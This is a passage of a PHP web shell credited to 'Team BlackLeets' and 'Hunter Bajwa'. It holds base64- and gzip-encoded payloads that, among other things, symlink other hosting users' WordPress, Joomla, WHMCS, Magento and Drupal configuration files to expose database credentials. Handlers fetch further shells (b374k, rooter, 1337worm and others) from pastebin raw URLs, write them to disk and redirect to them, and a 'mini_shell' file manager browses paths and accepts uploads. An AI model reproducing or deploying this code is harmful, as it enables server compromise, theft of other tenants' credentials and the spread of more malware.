zZXIgLiAnLXdvcmRwcmVzcy1Xb3JkcHJlc3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1ibG9nLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtbmV3cy50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtbmV3LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1ibG9nLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1iZXRhLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtYmxvZ3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWhvbWUudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGIucGhwJywgJHVzZXIgLiAnLWRiY29uZi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3Atc2l0ZS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtbWFpbi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13cC10ZXN0LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEyLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtcHJvdGFsLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb28udHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1jbXMudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtc2l0ZS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1tYWluLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW5ld3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1uZXcudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtaG9tZS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htMTUudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tY2VudHJhbC50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLXdobWNzLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tV0hNQ1MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htYy1XSE0udHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htY3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdXBwb3J0LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgJHVzZXIgLiAnLXdobWNzMi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG00LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTUudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG02LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctV2htNy50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG04LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTkudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCAkdXNlciAuICctNS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgJHVzZXIgLiAnLU9wZW5fQ2FydC50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCAkdXNlciAuICctaW52aXNpby50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsICR1c2VyIC4gJy03LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLTgudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCAkdXNlciAuICctbWstcG9ydGFsZTEudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywgJHVzZXIgLiAnLTEyLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsICR1c2VyIC4gJy1TbWYudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12QnVsbGV0aW4xLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdkJ1bGxldGluMi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZCdWwzLVBocGJiMi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZCdWxsZXRpbjQudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAnLCAkdXNlciAuICctbXliYi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywgJHVzZXIgLiAnLUNvbmZpZy1QaHBiYjEudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsICR1c2VyIC4gJy1waHBiYjMudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvb3BlbmNhcnQvYWRtaW4vY29uZmlnLnBocCcsICR1c2VyIC4gJy1PcGVuX2NhcnQyLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FwcC9ldGMvY29uZmlnLnhtbCcsICR1c2VyIC4gJy1NYWdlbnRvMS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hcHAvZXRjL2xvY2FsLnhtbCcsICR1c2VyIC4gJy1NYWdlbnRvMi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsICR1c2VyIC4gJy1EcnVwYWwudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZHJ1cGFsL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsKICAgIH0KICAgIGVjaG8gJzxiIGNsYXNzPSJjb25lIj48Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSJMYXduR3JlZW4iIHNpemU9IjJwdCI+PGI+Q29uZ3JhdHVsYXRpb24gPT0+PiA8L2I+IDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJCYWp3YSI+PGZvbnQgY29sb3I9Ikxhd25HcmVlbiIgc2l6ZT0iMnB0Ij5Db25maWcgbGlzdDwvYT48L2ZvbnQ+PC9iPic7Cn0KZWNobyAnPGJyPjxicj48YnI+PGJyPic7CmVjaG8gJyoqWyBVcGxvYWRlciBdKionOwplY2hvICc8YnI+PGJyPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiAoJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIpIHsKICAgIGlmIChAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgewogICAgICAgIGVjaG8gJzxiPjxmb250IGNvbG9yPSJMYXduR3JlZW4iPlVwbG9hZCBTdWNjZXNzZnVsbHkhISEgPC9mb250PjwvYj48YnI+PGJyPic7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gJzxiPjxmb250IGNvbG9yPSJyZWQiPlVwbG9hZCBGYWlsZWQhISEgPC9iPjxicj48L2ZvbnQ+JzsKICAgIH0KfQo/Pjxicj48YnI+CjxkaXYgaWQ9Im5hbWUiPiZjb3B5OyA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vQmxhY2tMZWV0czEzMzcvIiB0YXJnZXQ9Il9ibGFuayI+VGVhbSBCbGFja0xlZXRzPC9hPi4gQ29kZWQgJiBNb2RpZmllZCBCeSA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vSHVudGVyQmFqd2FPZmZpY2lhbC8iIHRhcmdldD0iX2JsYW5rIj5IdW50ZXIgQmFqd2E8L2E+ICYgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0h1bnRlci5CYWp3YTEzMzciIHRhcmdldD0iX2JsYW5rIj4hISEhPC9hPjwvZGl2Pgo8L2JvZHk+PC9odG1sPg==";
1610 $lalala = @fopen("symlinker.php", "w");
1611 @fwrite($lalala, htmlspecialchars_decode(gzinflate(base64_decode($php_symlinker))));
1612 @fclose($lalala);
1613 header("Location:symlinker.php");
1614 }
1615
1616 if (isset($_POST['mass'])) {
1617 $php_mass = "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";
1618 $lalalala = @fopen("mass.php", "w");
1619 @fwrite($lalalala, htmlspecialchars_decode(gzinflate(base64_decode($php_mass))));
1620 @fclose($lalalala);
1621 header("Location:mass.php");
1622 }
1623
1624 if (isset($_POST['madleets'])) {
1625 download_remote_file('http://pastebin.com/raw/M9mx5j4h', realpath("./") . '/madleets.php');
1626 header("location:madleets.php"); }
1627
1628 if (isset($_POST['rooter'])) {
1629 download_remote_file('http://pastebin.com/raw/sJxiRZAH', realpath("./") . '/rooter.php');
1630 header("location:rooter.php"); }
1631
1632 if (isset($_POST['cpc'])) {
1633 download_remote_file('http://pastebin.com/raw/d73HhXBk', realpath("./") . '/cpc.php');
1634 header("location:cpc.php"); }
1635
1636 if (isset($_POST['anonghosts'])) {
1637 download_remote_file('http://pastebin.com/raw/Cm3WsQXL', realpath("./") . '/anonghosts.php');
1638 header("location:anonghosts.php"); }
1639
1640 if (isset($_POST['blackhat'])) {
1641 download_remote_file('http://pastebin.com/raw/XFs2pPBM', realpath("./") . '/blackhat.php');
1642 header("location:blackhat.php"); }
1643
1644 if (isset($_POST['imageshell'])) {
1645 download_remote_file('http://pastebin.com/raw/eTbTMB4y', realpath("./") . '/imageshell.php');
1646 header("location:imageshell.php"); }
1647
1648 if (isset($_POST['madspot'])) {
1649 download_remote_file('http://pastebin.com/raw/mjKJRfXA', realpath("./") . '/madspot.php');
1650 header("location:madspot.php"); }
1651
1652 if (isset($_POST['pcd'])) {
1653 download_remote_file('http://pastebin.com/raw/cBiiU6MR', realpath("./") . '/pcd.php');
1654 header("location:pcd.php"); }
1655
1656 if (isset($_POST['cheta'])) {
1657 download_remote_file('http://pastebin.com/raw/H6ah5rnF', realpath("./") . '/cheta.php');
1658 header("location:cheta.php"); }
1659
1660 if (isset($_POST['zone'])) {
1661 download_remote_file('http://pastebin.com/raw/LsRHWmAD', realpath("./") . '/zone.php');
1662 header("location:zone.php"); }
1663
1664
1665 if (isset($_POST['1337worm'])) {
1666 download_remote_file('http://pastebin.com/raw/7WwNgWHh', realpath("./") . '/1337worm.php');
1667 header("location:1337worm.php"); }
1668
1669
1670 if (isset($_POST['joker'])) {
1671 download_remote_file('http://pastebin.com/raw/eLT2PtZN', realpath("./") . '/joker.php');
1672 header("location:joker.php"); }
1673
1674
1675 if (isset($_POST['b374k'])) {
1676 download_remote_file('http://pastebin.com/raw/UZuF1RKJ', realpath("./") . '/b374k.php');
1677 header("location:b374k.php"); }
1678
1679
1680if(isset($_GET['mini_shell']))
1681{
1682
1683set_time_limit(0);
1684error_reporting(0);
1685
1686if(get_magic_quotes_gpc()){
1687 foreach($_POST as $key=>$value){
1688 $_POST[$key] = stripslashes($value);
1689 }
1690}
1691echo '<!DOCTYPE HTML>
1692<HTML>
1693<HEAD>
1694<link href="" rel="stylesheet" type="text/css">
1695<title>Hunter Bajwa File Manager</title>
1696<style>
1697body{
1698 font-family: "Racing Sans One", cursive;
1699 background-color: #e6e6e6;
1700 text-shadow:0px 0px 1px #757575;
1701}
1702#content tr:hover{
1703 background-color: #636263;
1704 text-shadow:0px 0px 10px #fff;
1705}
1706#content .first{
1707 background-color: silver;
1708}
1709#content .first:hover{
1710 background-color: silver;
1711 text-shadow:0px 0px 1px #757575;
1712}
1713table{
1714 border: 1px #000000 dotted;
1715}
1716H1{
1717 font-family: "Rye", cursive;
1718}
1719a{
1720 color: #000;
1721 text-decoration: none;
1722}
1723a:hover{
1724 color: #fff;
1725 text-shadow:0px 0px 10px #ffffff;
1726}
1727input,select,textarea{
1728 border: 1px #000000 solid;
1729 -moz-border-radius: 5px;
1730 -webkit-border-radius:5px;
1731 border-radius:5px;
1732}
1733</style>
1734</HEAD>
1735<BODY>
1736<H1><center>Hunter Bajwa File Manager</center></H1>
1737<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
1738<tr><td>Current Path : ';
1739if(isset($_GET['mini_shell']) && ($_GET['path'])){
1740 $path = $_GET['path'];
1741}else{
1742 $path = getcwd();
1743}
1744$path = str_replace('\\','/',$path);
1745$paths = explode('/',$path);
1746
1747foreach($paths as $id=>$pat){
1748 if($pat == '' && $id == 0){
1749 $a = true;
1750 echo '<a href="?mini_shell&path=/">/</a>';
1751 continue;
1752 }
1753 if($pat == '') continue;
1754 echo '<a href="?mini_shell&path=';
1755 for($i=0;$i<=$id;$i++){
1756 echo "$paths[$i]";
1757 if($i != $id) echo "/";
1758 }
1759 echo '">'.$pat.'</a>/';
1760}
1761echo '</td></tr><tr><td>';
1762if(isset($_FILES['file'])){
1763 if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
1764 echo '<font color="green">File Upload Done.</font><br />';
1765 }else{
1766 echo '<font color="red">File Upload Error.</font><br />';
1767 }
1768}
